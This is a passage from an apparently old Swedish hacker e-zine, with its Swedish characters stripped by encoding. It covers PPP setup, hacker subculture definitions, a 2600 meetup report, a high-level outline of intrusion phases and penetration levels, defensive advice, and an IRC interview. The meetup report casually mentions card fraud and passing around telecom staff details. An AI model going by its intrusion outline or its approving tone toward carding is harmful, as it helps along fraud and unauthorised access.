  Nu s ska vi gra ngra instllningar  fr  anslutningen.  Starta 
  linuxconf och vlj PPP/SLIP/PLIP.  Vlj ppp0. Under Communication 
  ska du fylla i dom textstrngar som du sg i minicom
 
  Om servern  frgar  efter  Username:  s fyller du allts i det i 
  frsta  fsta fltet  "Expect".  Fyll  inte  i  brjan  av  ordet 
  eftersom modemkommunikationen  inte  hinner lyssna av hela ordet.
  S istllet  fr  "username:"  skriv  "sername:",  "login:"  blir 
  "ogin:".  Nr  allt r  ifyllt  och klart,  vlj Accept.  Sen nr
  du vill ansluta s anvnd ifup och ifdown fr att koppla ner.
 
  Det som jag gtt igenom hr r ett av mnga stt att fixa en PPP-
  anslutning i linux.  Jag pstr inte att det r det bsta sttet, 
  men det funkar... och det borde vara det viktigaste.


         Texten presenteras i samarbete med Team DreamVizion.

  //////////////////////////////////////////////////////////////////
  \                                                                \
  /                "Free speech is for everyone"                   /
  \                                                                \      
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



  //////////////////////////////////////////////////////////////////
  | 10.            Internet Pirater, eller?                 hedback|
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

   Vem  har  missat  den senaste tidens datavirus som  "I love you", 
  Melissa  och  diverse  varianter.  Dessa  virus  var  script  som 
  drabbade  anvndare  av  Outlook (i  frsta  hand). Sen s har vi 
  brket mellan  RIAA och  Napster. Napster som har kat i anvndar 
  antal med 480%(!)  sedan  dom blev stmda. Ganska bra  reklam att 
  bli stmd  med  andra ord.  Vidare har  vi piratkopieringshrvor, 
  carding osv.  Brottsligheten  p intenet kar kraftigt, men exakt 
  hur mycket  vet  man  inte,  men  det  som  tveklst kar mest r 
  bedrgerier, frtal, handel  med  stldgos och brott mot upphovs-
  rtten. Olaglig  kopiering  av  musik  och  dator  program  r de 
  upphovsrttsbrott  som  kat  mest.  Dessa  sk  brott begs  till 
  strsta delen av "tjuvar" och vanliga anvndare.  Ofta i press s
  drar man alla ver en kamm. Det r en  evig  karusell med "hacker
  stjl bla bla"  och "hacker tog sig in i bla bla". Sen s kan man
  lsa i nn b-tidning att  "Hackare  r  ofta snlla datornrdar".
  Ordet hacker  har  ftt  en  viss nrd status, dels fr att ordet 
  anvnds i fel sammanhang och  dels fr att alla snorungar som kan
  mailbomba  nn kallar sig fr ntt som "3vil hxxor". Fr att inte 
  tala om alla som  ska  gra  sig  smarta  och  frklara vad ordet 
  egentlingen betyder. [snna som jag =P] 
 
  I en artikel fr ett tag sedan s kunde man lsa om vad dom olika 
  orden, som t ex hacker, cracker och phreaker betyder. Frfattaren 
  till artikeln heter Hans Nilsson men vi kallar honom fr Hasse.  
 
  -=- 

   Lr dig skilja hackers frn crackers! 
 
  Hackers r ganska oskyldiga (sv hackare)
  En hackare r  en  person som vill lra sig s mycket som mjligt
  om datorer, program och ntverk, i motsats till en >>normal<< an-
  vndare som helst vill  veta  s lite  som  mjligt om sin dator, 
  program och uppkoppling.  Det  brukar  ven  vara s att utforska
  brister och dolda funktioner  i  datorsystem  fr  att  f nyttja 
  dessa fr egen  vinning  eller  fr sjlva kunskapens egen skull.
  Enligt New Hackers Dictionary,  andra utgvan [obs! andra utgvan
  :P//hedback],  kommer ordet  hacker frn ett gammalt engelskt ord
  fr mbelsnickare.
 
  Crackers gillar att frstra (sv krackare)
  En person som uppvisar de flesta egenskaper man brukar tillskriva
  hackare, med den skillnaden att  krackare  inte  drar sig fr att
  elektroniskt bryta  sig  in  i  andras  vrddatorer,  ntverk och 
  datorsystem,  eller  blockerar  tkomsten  till dessa.  De vrsta 
  avarterna frstr  ven  de  system  som  de tagit kontroll ver.
  Krackare frndrar  ven  innehllet p  hemsidor  efter  att  de 
  olovligen skaffat sig tillgng till en webbserver.
 
  Script-kiddies - unga och ofrsende 
  Ofta pfallande unga  anvndare  som  kallar sig hackers, men som 
  i  allt vsentligt saknar avancerade  kunskaper  om  ntverk  och 
  programmering.  De  anvnder  sig istllet av frdiga program som 
  andra, mer erfarna hackers,  tillverkat. Ofta sker detta utan att 
  Script-kiddies  vet  vad  programmen utfr och varfr, vilket kan 
  leda till omfattande elektronisk skadegrelse.
 
  Phreakers gillar telentet
  Personer  som  hyser  samma  fascination infr telefonntverk som 
  hackare knner infr datorntverk.  Phreaking rknas av mnga som
  ursprunget fr hacking.  Numera  har  dessa tv subkulturer i det
  nrmaste vuxit ihop eftersom telefonntverken r datoriserade och
  eftersom  internet  ofta  krs  ver  vanliga  telefonlinjer.  En 
  phreaker  kan  till  exempel  bryta  sig  in  i ett telefonskp i 
  kllaren p ett  hus  och  koppla in sig p ngon annans telefon-
  abonnemang.
 
  Hemliga Cyberpunks (sv chifferpunkare)
  Dessa  frvarar  passionerat  rtten att f vara anonyma p ntet 
  samt  ser  det  som  en  gundlggande  rttighet  att  f  skicka 
  elektroniska  meddelande som  inte  gr  att avlyssna (avkoda) av
  tredje part,  till exempel myndigheter. Ligger ofta tv steg fre
  nationell lagstiftning  och exportlagar angende fri spridning av
  stark kryptering
 
  Spammers e-postbombar (sv spammare)
  Kommersiella  aktrer  som  nyttjar fretags- och organisationers
  e-post servrar fr att gra  olagliga  massutskick  till  e-post-
  adresser. Fr det mesta rr det sig om kedjebrevsliknande reklam,
  men ven extremistisk politisk propaganda har frekommit. 
  Avskydda av alla andra subkulturer.
 
  Pirates spider program (sv pirater)
  Personer  som  tar bort kopieringsskyddet  p kommersiella dator-
  program eller  de  som kopierar,  sprider och/eller sljer dator-
  program olagligt. Det finns  ven  en  uppsj  begrepp fr roller 
  inom piratkulturen; traders/swappers (byter program med varandra)
  och s vidare.
 
  Coders - en egen livsstil (sv kodare)
  Helt  enkelt  personer  som  har  skapandet  av datorprogram (och 
  program) som livsstil.
 
  Virus-coders skapar problem (sv viruskodare)
  Personer  med  talang  och  kunskaper  fr  att  tillverka sjlv-
  replikerande  datorprogram  med  ofarliga eller destruktiva egen-
  skaper, s kallade datorvirus.
 
  Hrda Tinkers
  Ngon som  > >hackar< < hrdvara brukar kallas tinkers. Med andra 
  ord :  undersker  dolda   funktioner  eller  oknda   brister  i 
  datorernas  konstruktion.  En tinker  bygger inte sllan sin egen 
  dator med otagliga specialfunktioner.

  -=-
 
  Bara att  hitta  sin  egna lilla grupp. Nja, r allt svart/vitt i 
  underground  scenen?  Skulle  inte  tro  det.  Hasses  frsk att 
  dela  in alla i olika grupper hller inte n vidare, fr alla som
  hllit p ett tag med ngot av det ovanstende vet att det r mer
  eller mindre  omjligt  att  bara  hlla  sig  till  en eller tv 
  subkulturer enbart. (undantag fr spammers, som br halshuggas).


       Texten presenteras i samarbete med Team DreamVizion.

  //////////////////////////////////////////////////////////////////
  \                                                                \
  /             "Mathematic is the language of nature"             /
  \                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



  //////////////////////////////////////////////////////////////////
  |11.                    2600seGBG                         Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
   

  Jag  hade  bestmt  med  zaph0x  att  vi skulle  trffas  innan s
  vi  tog  en  burgare  och  snackade  lite om  allt  mjligt..sedan
  s  gr  vi  och  mter  alla  vid  nils  ericssons  terminalen...
  dr r typ  r  neodym, stainless, d_l0rd,  master_od  och  en hel
  del  andra  som   talade  fr  tyst  fr  att  jag  kunde uppfatta
  alla  dom  rtta  stavelserna..   Jag  sa  till dom  som  har hand
  om  hgtalaren  att  det var  flera  personer till hrande  "grupp
  2600"  skulle  trffas  under  den  stora  tavlan  s  ropade  dom
  ut det..det var  kul..  jag  gick  och  staljade  med  min  ny in-
  kpta  2600  t-shirt..  den  hade  en  bra  effekt  att  de flesta
  psvis  sg  den  och  visste  att  dom  hade  hittat  rtt..  vi
  gick  sedan  i  samlad  trupp  upp  till  vasaparken..  (ligger en
  liten  bit  frn  avenyn bland  annat)  Frskte vara lite  social
  iaf  och  presentera  mig...   det  gick  vl  sdr :D  p  vgen
  trffade  jag  en  gammal  lrare  (typiskt)  och  hon undrade nog
  vad  jag  gjorde med  alla  dom  dr  halv  skumma mnniskorna och
  nn  trffade  nn  som  dom  knde  som  jobbade  p  telia..  
  Drefter  satte  sig  alla  nstan  i  en  ring..  (jag  gissar p
  att  vi var  ungefr  15-17 pers). kanske  t.om  20 pers. eftersom
  det var  ngra  som  gick  ganska  snabbt.. alla  presenterade sig
  .. nya  namn  jag  kommer  ihg   Darknite,  filt,  paradoxx, jerm
  tha sperm,  axwell,  MeglaW..   stavningen  r  inte  p  topp  nu
  ....  det  var  mest  ngra  modiga  som  frskte  prata  ..infr
  alla...  frgan  var  hela  tiden..  vad  gr  vi  nu  d?  MeglaW 
  skickade  runt  en  frst  en  lista  med  felia  anstlldas tele-
  fonnummer  och  ett  kort  fr  att  komma  in  till,  fr mig ett
  nytt  ord,  'telia borgen'.  som  vi  senare  gjorde  utflykt till
  ...  sedan  brjade  mnga  titta  nn  civil  polis  men  vi  sg
  nog  ingen...  vissa berttade  ocks  att  dom  hade  cardat  en 
  diamant  och  matrox  saker fr  en  hel  del.. sedan ringde Zitech
  tror  jag   till   och  snackade  med  MeglaW  och  master_od.  de 
  snackade  lite  om  vad  dom  olika  sysslade  med  och  hur mnga
  det  var  p  respektive  mte  MeglaW  ringde  112  fr  att  det
  var  fr  lite  poliser  dr..   vi  knde  oss  inte  s skra :P
  ...  sedan  gick  vi  till  den  dr  'telia  borgen'  som  r ett 
  riktigt  stort  sten  hus  och  MeglaW  pekade  ut  att nummerupp-
  lysningen  som  var  dr  eller  nt  snt..  Gruppfoton  togs och
  sedan splittrades  vi  och  ngra  gick.. resten  fick  till kebab
  grillen  och  kkade  kebab..  sedan  tog  mtet  slut  ca:  20:00
  jag  freslog att  nsta  mte  skulle  ga rum  i  nn  mc donalds
  eller burger  king  och nsta  mtets  tema skulle vara ("Kunskap?")
  att  alla  tar  med  sig  lite  roliga  attribut  m.m   t.ex.  som
  DarkNite  skulle  ta  med  sig  alla  nummer  av  2600  pappers  
  tidningarna.


  //////////////////////////////////////////////////////////////////
  \                                                                \
  /        ########   ########   ########   ########               /
  \       ########## ########## ########## ##########              \
  /       ###   ###  ###    ### ###    ### ###    ###              /
  \            ###   ###        ###    ### ###    ###              \
  /           ###    #########  ###    ### ###    ###              /
  \          ###     ###    ### ###    ### ###    ###              \
  /        ####  ### ###    ### ###    ### ###    ###              /
  \       ########## ########## ########## ##########              \
  /       #########   ########   ########   ########               /
  \       [ - 2    6    0    0        N    E    T - ]              \
  /                      irc.2600.net                              /
  \                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


  
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  | 12.                 Faserna i ett IT-anfall            Zynta^x |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
 
  Hur arbetar egentligen  en "cracker" nr han  tar  sig in  i t ex
  ett nytt  system?? Har  han  nn plan,  strategi,  speciellt till-
  vgagngs stt.. hmm  ja oftast s e det p  samma  sorts vg alla
  arbetar p.  Jaja  ni kanske tycker jag tjatar  fr mycket och det
  kanske lter lite  vl  dramatiskt,  men det  beror enbart p  att
  jag tnker p hur mnga kebab tallrikar  Ncode har kkat. Och  s
  grymma arbete med att lgga ner cisco servrar. S back to Work  ;)
  Vi ska nu g igenom ett stt (strategi) som mnga anvnder och som 
  oftast  fungerar.

  Fas .1
  Informationsinsamling. Crackern samlar information om mldatorn som
  r allmnt tillgngligt. WWW och News  kan innehlla  mycket infor-
  mation om ett annat datorsystem. Denna fas kan ta ganska lng tid.

  Fas .2
  Crackern bestmmer  vilken typ av dator och  vilket operativsystem 
  "mlet" har.Han tar reda p  mldatorns tjnster. Detta kan  gras
  med sk port  scanners, program  som  undersker  trafiken  p ml-
  datorns  portar.  [Ed.'s note: Ls Ncodes  "Skerhets analys av en
  Unix Burk" p http://www.2600hz.net/].

  Fas .3
  Han letar fel och brister  i det operativsystem och andra tjnster
  som   mldatorn  kr.  Mnga  crackers  har  en  lista  med  knda 
  skerhetshl.

  Fas .4
  Crackern  laddar ner  attackverktyget  frn ngon annan server och 
  skriver in rtt kommandon  till verktyget eller skickar dem direkt
  till  tjnsten  i mldatorn.  Han improviserar  om  ngon  frskt
  tppa till  hlet.  Nu  fr  crackern visa  hur  skicklig han  r.

  Fas .5
  Om  attacken  lyckades, kan  han  installera  bakdrrar,  rootkits, 
  sniffers eller  stjl  och  frstr  data.  Han  stdar  upp  alla 
  spr i loggar s att intrnget inte syns. Om attacken misslyckades,
  brjar  han  om  frn  en  tidigare  fas.



  zyntax@SweHPA.com
  
  //////////////////////////////////////////////////////////////////
  \                                                                \
  /  "Att hacka handlar inte om att lyckas,  det handlar mer om    /
  \   att  upptcka.  ven om det skulle finnas ngot som hette    \
  /   fullstndig skerhet,  kommer det alltid  att finnas  nya    /
  \   system,  nya  uppfinningar,  nya  attackvgar. Hackern r    \
  /   ndvndig  fr att frbttra skerheten, och vi blir inte    /
  \   s  ltt  uttrkade."                                        \
  /   - Emmanuel Goldstein,  2600: The Hacker Quarterly            /
  \                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  | 13.           Datorsystemets Penetreringsniver        Zynta^x |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\  
               
  Varje  attack  kan  best  av  flera  steg  dr  man  bryter  sig 
  djupare  och  djupare in, ungefr  som   att  grva  en  tunnel.

  
  *****************************************************************
  Niv .1           -Denial Of Service attacker-
  *****************************************************************
  Niv  ett  r  hindrande av  tjnst och  innebr  ett tillflligt
  stopp  av  en   dator  genom att  f den  att krascha  eller  att
  g  vldigt  lngsamt.



  *****************************************************************
  Niv .2             -Lokal anvndare kan lsa-
  *****************************************************************
  Hr har man skaffat  sig  ett  anvndarnamn p  datorn  inklusive
  ett  hembibliotek och  allt  vad det  innebr.  Man  kan  lsa en 
  del  filer,  ibland  ocks  knsliga  systemfiler.


  
  *****************************************************************
  Niv .3             -Lokal anvndare kan skriva-
  *****************************************************************
  "Behrighet" att inte bara skriva  filer i sitt eget hembibliotek
   utan  ven i  en del  knsliga  bibliotek,  som t ex webserverns
   bibliotek  fr  cgi-script.



  *****************************************************************
  Niv .4      -Yttre angripare kan kra begrnsade kommandon-
  *****************************************************************

  "Behrighet" att kra vissa  kommandon  eller program  p datorn.
  Ofta  utan  inloggning.  Man  kan  ven  pverka  datorns  inre 
  systemtillstnd.



  *****************************************************************
  Niv .5    -Yttre angripare kan kra alla kommandon och program-
  *****************************************************************
  Man kan kra alla program  p datorn, samt  lsa och  skriva  var
  man  vill,  och  utan  strre   problem  g  till  Niv .6


  
  *****************************************************************
  Niv .6      -Root eller Administratr. (Fulla behrigheter)-
  *****************************************************************
  Datorn r  helt crackad.  Angriparen  har full tillgng till hela
  datorn  och  kontrollerar  den  fullstndigt.



  zyntax@SweHPA.com

  //////////////////////////////////////////////////////////////////
  \                                                                /
  /             "Fantasi r viktigare n kunskap"                  \
  \              - Albert Einstein"                                /
  /                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


  
                                   
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  | 14.      Bra metoder fr att frhinda dataintrng      Zynta^x |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\                        

  haha  jag  drmde att  min far sade till mig -hrdudu  Zynta^x  en 
  riktig   hacker  lmnar  inga  spr  efter  sig.  Bara  amatrerna 
  blir  rubliker.   S  drfr  tnkte  jag  nu  skriva  om  hur  du 
  kan  skydda  dig  mot  just  dataintrng.

  Idag  r   datorer  en  jvligt  stor  del  av  vrldens  infra-
  struktur. S det r ju  ganska viktigt  att  skydda dom  ocks....
  Nu  r det  ju  s  att  dom  flesta  system  r  ntverksbaserade
  och  uppkopplade  via   frmedlande  protokoll  som  t ex  TCP/IP
  vilket gr det  ltt  att  ansluta  sig  till  ett  sdant system.
  D  mste  vi  allts  skydda  ntverksanslutna  datorer genom att

  *tillhanda hlla logiska skydd mot den yttre omgivningen.

  *anvnda kryptering och stark autentisering.

  *logiskt frsvara individuella vrddatorer(hosts).


  Nedan  beskrivs  ett  antal   inriktningar  fr  att   frbttra 
  skyddet  mot  intrng.  Beskrivningar  anger  bara  ngra  av  de 
  viktigaste  tgrder  man  br  knna  till.


  +Brandvggar.
  
  Brandvggar,  kan   vara  ett  bra  initialt   skydd  fr  ett 
  ntverksanslutet  datorsystem,  men  det  vanligaste  problemet 
  med  dessa r  brandvggens  mnga  instllningsmjligheter som
  gr  att  de  ltt  kan  bli  felinstllda  t ex  genom  att:

 
  *tillta  vad som  helst frn  vem  som helst,  the goof up.

  *slppa igenom farliga tjnster

  *ha lg  skerhet som frval t ex  genom att  ha ett domain name
  system,  DNS  ger  ifrn  sig  viktig  information som underlttar
  ett  intrng eller  att lta  internet  control  message protocol,
  ICMP  ge  sdan  information  s  att den  tipsar  en  hacker  om
  systemets  mjligheter.

  *tillta  tkomst  av  interna  ntverkstjnster  ssom fjrrin-
  loggning,  e-post, filverfring  m.m  utan  stark  autentisering.
  Ingen  brandvgg  r  den andra  lik.  Det  finns  fyra  populra
  teknologier.  Oftast  r  den  hybrid  av  flera  produkter:

  *normal  enkel paketfiltrering,  filtrerande router - som svagast

  *portbegrnsning,  socket relays - marginellt bttre
  *intelligentare   paketfiltrering  (FW-1),  en rejl  frbttring 
   men  fortfarande  problematisk

  *analys av innehll, application gateway - skrare men lngsammare.

  +System fr upptckt av intrng.
 
  System  fr  upptckt  av  intrnget  kallas  "intrusion  detecting
  systems,  IDS".  Det  anvnds  fr  att  detektera  knda   mnster
  som  kan  pvisa  att  det  pgr  ett  frsk  till  intrng eller
  att  ett  intrng  redan  genomfrts. IDS finns  i  olika varianter
  som  t ex:


  *paketsniffare  och  mnstermatchare  (signaturdetektering)

  *vervakare  av  knda  mnster  i  loggar
 
  *trafikmtare

  *anomaliupptckare (hndelser som inte borde finnas i systemet) 
  eller  detektering  av   frndringar.
  Ett IDS-system kan  antingen  vara en  egen  vrddator eller ett 
  ntverksbaserat system.


  +vervakning av uppkopplingar. 
  Fr att  kunna  upptcka  intrnget  gller  det  att  vervaka 
  datorsystemet  och  dess  uppkopplingar.  Det  finns  produkter
  som  vervakar  och  skriver  ut  aktuella  TCP-anslutningar, 
  visar  valda  anslutningar  p  en  bildskrm  eller  tar  ver
  eller  avslutar  en  utvald  anslutning. Ett  problem med detta
  r  dom  juridiska  aspekterna   p   vervakning   och  visa 
  lsenord  eller  annan  knslig  information.

  +Inbrottslarm.
  Ett  logisktinbrottlarm  r  en  del  i  ett  flernivskydd. Om
  brandvggen passeras  av  en  angripare br ett larm reagera p
  aktiviteter   innanfr  brandvggen.   Larmet  br   varna  fr 
  aktiviteter  som  inte  borde  hnda  vid  just  den tidpunkten
  eller  i  den  "formen".

  +Personal och logging.
  Kunnig  och  utbildad  personal  r  ett  mste  fr  effektiva
  mottgrder.  Mnsklig  reaktion  p  larm  ska  finnas och det
  kan   inte  ppekas   tillrckligt   ofta  att  en  logg  av 
  aktiviteter  r  ytterst   viktig  fr  effektiva   mottgrder.
  Loggen  mste  stndigt  vervakas  av  det  mnskliga  gat fr 
  att  man  ska  kunna  upptcka  intrng  och  intrngsfrsk.

  +Uppdateringar.
  Det r mycket viktigt  att  hnga  med  i  intrngsutvecklingen
  eftersom  det  dagligen  upptcks   nya  stt  att  ta  sig in i
  system.  En  av  de  viktigaste  frutsttningarna  fr att hack-
  are  ska  ligga  steget  fre  r  att  de  snabbt  och effektivt
  kan  byta information  med likasinade. JU  FLER  SOM  HJLPS  T
  desto  strre  r  sannolikheten  att  de  ska  lyckas.
  Ett effektivt skydd  br  drfr  best  av en motsvarande ppen
  informationsspridning mellan  de  som  frsker  skydda systemen.
  Ju mer information som  utvxlas  mellan  parter  om intrng och
  intrngsfrsk,  desto  strre  r  chansen  att  frhindra  nya
  angrepp. Detta  leder d  till att  ppna  och icke  kommersiella
  programvaror r att  fredra  eftersom fler  kan  analysera dessa 
  och  hitta  srbarheter  som  kan  delas  ppet  med  andra.

  +Engngslsenord.
  Engngslsenord  gr  sniffning, knckning  och  lsenordsstld
  ineffektiv.  Tvfaktorssytem (ngonting du vet och ngonting du
  har  eller  r), t ex  en PIN-kod tillsammans med en lsenords-
  genererare,  ger  stark  autentisering.  Det  problem   som  kan 
  finnas  med  engngslsenord    r   stora   kostnader   fr im-
  plementeringen  och  administreringen  och  att  skydda  autent-
  iseringsservern  mot  intrng.

  +Engngsloggning.

  Engngsloggning,  single  sign  on,  kombinerad  med  stark autent-
  isering  ger   nnu   bttre   skerhet   via  en  centraliserad 
  kontroll  och  logging  av   ntverksbaserad  aktivitet.
  Med  engngsloggning  menas  att man  bara  loggar  in  p ett
  stlle  med  ett  lsenord  (skerhetsserver), fr   att  sedan f
  tillgng till  flera  olika  system,  i  motsats  till  att  logga
  in  i  olika  system  med  olika  lsenord.  Engngsinloggning  r  
  skrare  och  smidigare.

  +Kryptering.
  Kryperingsteknik  r  i  sig  ingen  lsning, men  en del av  flera 
  lsningar som kan  anvndas som  motmedel  mot intrng.  Teknikerna 
  *secure socket layer(SSL)
  *secure shell (SSH)
  *virtual private network (VPN)
  skyddar  data  under  dess  transport mellan  system  och frhindrar
  lsenordssniffning  och  datalsning.

  terskapande av ett intrng.
  Om  ett  intrng  har  skett  mste  man  f  fram  material fr 
  eventuell  polisutredning  (hehe lol eller hur)  och  terstlla 
  systemet  till  det skick det  hade  innan  intrnget  skedde.
  Fr  att  ta reda  p  vad  som  har  hnt  fram  tills  dess att
  intrnget  skedde,  gller  det  att  logga ntverksaktiviteter som
  sker  och  ta  en  gonblicksbild  av  systemets  instllninga  nr
  intrnget  skedde.
  En strategi  fr terskapande av  ett system efter intrng omfattar
  ungefr s hr:
  *att ndra samtliga anvndares lsenord(efter att en sniffer upptckts)
  *att ominstallera systemprogramvaran (eller ndra delar av den, om
  det  finns  en  gonblicksbild)
  *att tgrda aktuella srbarheter.

  +Spra intrng.
  Att  spra  intrng  r  en  indirekt  metod  fr  att  frhindra 
  framtida  intrng  genom  att  hitta  och  tala  en  angripare 
  (hmm ;( ) Det  r  endast  den  naiva  och okunniga  angriparen 
  som  jobbar  frn   sin  egen  hemadress  och  hemdator. En proff-
  esionell  angripare  "tvttar" anslutningar  genom  att  bryta sig
  in  i oskyddade  system  och  anvnda  dessa  som  sprngbrda mot
  andra  system.  Det  gr  att  en  sdan  angripare  kan  vara 
  omjlig  att  hitta. I  pressen  ser  man  ofta  att  tonringar
  (allts vi  :) ) gjort intrng.  De  har  frmodlingen  inte varit
  tillrckligt  skickliga  att  dlja  sina  spr.  De  riktigt stora
  lagbrytarna  lr vara  ytterst  svra att finna utan ett speciellt
  skickligt  och  tidskrvande  utredningsarbete.  Vid  sprning  av 
  ett angrepp, brjar man vanligtvis med kll IP-adressen, ifall det
  inte  r  denial  of   service-angrepp   som  normalt   frfalskar 
  IP-adresser eller  anvnder  personers  adresser.  Anvnd   drfr 
  frst  din  dators  egna  informationsfunktioner  fr  att  hitta 
  angriparens  tekniska  anslutning  vilket  r  det  fretag  som 
  tillhandahller  Internetanlutningen  till  kllntverket. Du  kan
  t ex anvnda  en ntblddrare  fr  att  hitta  anslutningspunkten
  fr  angreppet.  Kontakta  drefter  din  Internetleverantr  du
  hittat  i din  logg  och  begr hjlp.  Det  visar sig  d  oftast
  att du  fr  upprepa  denna  process  eftersom  det  troligtvis r 
  flera  leverantrer inblandade....



  zyntax@SweHPA.com
  
  //////////////////////////////////////////////////////////////////
  \                                                                \
  /             "Hey, hey, hey - be careful out there..."          /
  \                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


  
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  | 15.            Svenska h/p zines A till                Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
 
  Dessa zines finns nu p vr sida.  De  r  speciellt utvalda men
  om det  finns nt *bra* svenskt h/p  zine som saknas s  lt mig 
  veta. http://members.xoom.com/_XMCM/msadf/zines              

  Digital Wannabee's
  n/a

  Flashbacks News Agency
  http://www.flashback.se

  Gothenburg Secret Service
  http://www.GothenburgSecretService.net 
  (http://members.xoom.com/_XMCM/msadf/)

  Guide To (mostly) Harmless Hacking  [svensk versttning]
  http://w1.340.telia.com/~u34002171/hhd.html

  Klan of the BloodStained Blade
  n/a

  Kryptorama
  http://go.to/Kryptorama

  Liberalt Oorganiserat Drgg
  n/a

  Masters Of Information
  n/a

  Mr. Headache's Underground
  http://www.mrheadachesmagazine.com

  Outlaw Informativa
  http://www.2600hz.net/  

  PFA
  http://www.zaph0x.com
 
  TheRentor
  n/a

  Several Errors Hidden
  http://c5.hakker.com/seh/

  Swedish Phreakerz Association  
  n/a

  STREETWHORE
  http://www.teliasuger.com

  Swehack Underground Zine
  http://swehack.cjb.net

  The Aberrants Zine
  n/a

  TheNetw0rk Zine
  http://www.thenetw0rk.cjb.net/

  THE SWEDISH UNDERGROUND EROTIC E-ZINE from Heretics Inc
  http://www.2600hz.net/

  United Phreakers of $weden
  http://www.upos.cjb.net  

  Vanliga Svenska Priikers
  n/a

  West Swede Priiker Alliated
  n/a

  //////////////////////////////////////////////////////////////////
  \                                                                /
  /  "If your goal is to understand your network from a 40,000-    \
  \  foot view, then Windows port scanning tools will suffice.     /
  /  But if you're serious about your security and looking for     \
  \  the holes that crackers will find, then take the time to      /
  /  install a Linux box and use nmap."                            \
  \  - Infoworld                                                   /
  /                                                                \
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\



  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
  | 16.       Intervju med pewp ang. S&S artikeln           Gotrex |
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 

  *disskusion om den kontroversiella artikeln i Skerhet & Sekretess*

  <Gotrex> r det du p din bild?
  <Gotrex> ass den svarta
  <pewp> japp, passfoto
  <Gotrex> bra att veta, typ
  <pewp> hehe, varfr det 
  <pewp> man ser inget  juh
  <pewp> men jag kommer frsvinna
  <Gotrex> fr d vet dom vad du heter 
  <Gotrex> frsvinna?
  <pewp> inget IRC mer fr mig mer
  <Gotrex> hokus pokus
  <pewp> nej jag ringde och snackade med dom, de vet ALLT om mig
  <pewp> hokus pokus, ingen pewp lngre
  <Gotrex> allvarligt?
  <Gotrex> vad sa dom d?
  <pewp> japp...
  <Gotrex> har dom nn anledning till det?
  <pewp> de sa frmycket
  <Gotrex> frgan r inte om det enbart r fr att skrmmas den hr
   artikeln..
  <pewp> tror inte det, de visst frmycket
  <Gotrex> men vadd?
  <Gotrex> har dom ngra bevis?
  <pewp> jag vet att det r sant
  <Gotrex> ingen har ftt fngelse fr dator relaterade brott..[lite 
   fel formulerat s hr i efterhand]
  <Gotrex> nnu..
  <pewp> jag har inte hackat en sida, jag har kollat ver skerheten
   och sedan mailat sysadm
  <pewp> det r s jag jobbar
  <pewp> jag r en hacker, ingen cracker, script kiddie, wannabe,
   newbie
  <pewp> jag har hllt p med hacking i ver 7 r
  <pewp> jag har inte hackat en sida nfonsin
  <pewp> jag r en whitehat
  <Gotrex> d s.. varfr dra..
  <pewp> vill inte att folk ska spoinera p mig
  <pewp> jag kanske kommer tillbaka med ett annat namn
  <pewp> men pewp e borta
  <Gotrex> mm
  <Gotrex> yfrsig
  <pewp> kommer byta ISP, inte snacka med mina polare p IRC mer
  <Gotrex> fr jag publicera det hr?
  <pewp> jag e paraniod, TRUST NO ONE
  <pewp> jag vill inte ha folk som snokar i mitt liv 
  <pewp> varfr ska du publisera detta
  <pewp> vad ska det gra fr nytta ?
  <Gotrex> undra vafr just ni 16 pers. var med dr?
  <pewp> om du har en vettig anledning s kanske jag gr med p det
  <Gotrex> pewps reaktions p artikeln :P
  <Gotrex> det hr samtalet sger allt..typ [mycket iaf]
  <Gotrex> dom har vl frmodligen kollat upp lite folks isp och ftt 
  namnet dr ifrn
  <pewp> Du, jag har varit med i scenen s lnge s jag blev inte 
   frvnad, jag hnger med vrldens strsta hacker grupper, jag har
   gjort s mycket i den svenska hacking scenen, inte som pewp utan
   som ett annat namn, jag sitter med i sveriges elite p andra nt
   n dalnet...
  <pewp> det frvnar inte mig...
  <Gotrex> vilka?
  <Gotrex> yfrsig alla har ganska 'tunga' bakgrunder..
  <pewp> LoU, VMM, synnergy, och en massa andra. Men jag skiter i vad
